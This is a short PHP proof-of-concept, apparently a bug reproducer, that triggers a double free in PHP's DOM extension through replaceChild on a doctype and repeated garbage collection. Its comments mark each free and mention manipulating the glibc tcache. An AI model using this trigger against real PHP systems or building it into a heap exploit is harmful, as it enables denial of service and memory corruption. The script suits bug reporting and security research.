<?php $dom = null; $dt = null; $impl = null; function doThing() { $my_arr = []; global $dom,$dt,$impl; for($x = 0; $x < 7; $x++) { $dom = new \DOMDocument(); $dom->loadHTML("<!DOCTYPE html><p>hello</p>"); $impl = new \DOMImplementation(); $dt = $impl->createDocumentType("html", "", ""); array_push($my_arr, $dt, $dom, $impl); } $dom = new \DOMDocument(); $dom->loadHTML("<!DOCTYPE html><p>hello</p>"); $impl = new \DOMImplementation(); $dt = $impl->createDocumentType("html", "", ""); } //gc_collect_cycles(); doThing(); gc_collect_cycles(); $dom->replaceChild($dt, $dom->doctype); // FREE THE FIRST TIME! doThing(); // fill up tcache; coimment this out for tcache double free malding gc_collect_cycles(); // FREE AGAIN
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